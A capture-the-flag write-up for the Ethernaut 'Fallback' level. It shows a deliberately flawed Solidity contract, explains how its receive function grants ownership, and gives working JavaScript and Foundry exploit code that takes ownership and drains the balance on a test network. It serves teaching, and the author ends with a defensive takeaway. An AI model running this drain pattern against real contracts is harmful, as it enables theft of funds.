# The Ethernaut CTF Solutions | 01 - Fallback

## Goals

1. Claim ownership of the given contract;
    
2. Reduce its balance to 0.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1713329103794/db510563-6306-4175-b2b3-0cb71c169464.webp align="center")
    

## The Contract

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {
    mapping(address => uint256) public contributions;
    address public owner;

    constructor() {
        owner = msg.sender;
        contributions[msg.sender] = 1000 * (1 ether);
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    function contribute() public payable {
        require(msg.value < 0.001 ether);
        contributions[msg.sender] += msg.value;
        if (contributions[msg.sender] > contributions[owner]) {
            owner = msg.sender;
        }
    }

    function getContribution() public view returns (uint256) {
        return contributions[msg.sender];
    }

    function withdraw() public onlyOwner {
        payable(owner).transfer(address(this).balance);
    }

    receive() external payable {
        require(msg.value > 0 && contributions[msg.sender] > 0);
        owner = msg.sender;
    }
}
```

## **The hack**

The contract has a `receive` function that is called when the contract receives ether without any data.

```solidity
 receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
```

The contract also has a `contribute()` function that is payable. The `contribute()` function is supposed to be the only way to send ether to the contract, but the `require` statement prevents us from doing so and abusing the contract.

```solidity
function contribute() public payable {
        require(msg.value < 0.001 ether);
        contributions[msg.sender] += msg.value;
        if (contributions[msg.sender] > contributions[owner]) {
            owner = msg.sender;
        }
    }
```

However, nothing prevents us from sending ether directly to the contract, without using any of its functions. The `receive` function will then be triggered.

Now, we just have to figure out how to pass the `require` statement in the `receive` function.

```solidity
require(msg.value > 0 && contributions[msg.sender] > 0);
```

The first part is fairly simple, we just have to send any amount of ETH so the `msg.value` is greater than 0.

The second part requires us to `contribute()` first so our balance is greater than 0. That's it. We are the new owner of the contract and all is left is to drain the contract.

## **Solution**

1. Start by contributing to fulfill the `require` statement in the `receive()` function
    
2. Send some ether to the contract directly to trigger the `receive()` function
    
3. Withdraw all the funds since we are now the contract's new owner!
    

### JavaScript (Browser's console):

```javascript
await contract.contribute({ value: toWei("0.00001") });
await contract.sendTransaction({ value: toWei("0.00001") });
await contract.withdraw();
```

### Solidity (Foundry):

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script} from "forge-std/Script.sol";

interface IFallback {
    function contribute() external payable;
    function withdraw() external;
}

contract PoC is Script {
    // Replace with your Fallback instance
    IFallback fall =
        IFallback(payable(0x28cF211dcAff31B4c90aA321E976311f7A09f9FA)); 

    function run() external {
        uint256 deployer = vm.envUint("PRIVATE_KEY");

        vm.startBroadcast(deployer);

        fall.contribute{value: 1 wei}();
        (bool success, ) = address(fall).call{value: 1 wei}("");
        require(success, "Failed to send ether");
        fall.withdraw();

        vm.stopBroadcast();
    }
}
```

And the script to deploy our contract:

```bash
forge script script/01_Fallback.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY
```

**🎉 Level completed 🎉**

## **Takeaway**

* Use of the `receive` & `fallback` functions
    
* Never implement critical logic in the fallback/receive function
    

---

You can find all the codes, challenges and their solutions on my GitHub: [https://github.com/Pedrojok01/Ethernaut-Solutions/](https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/solutions/01_Fallback.md)
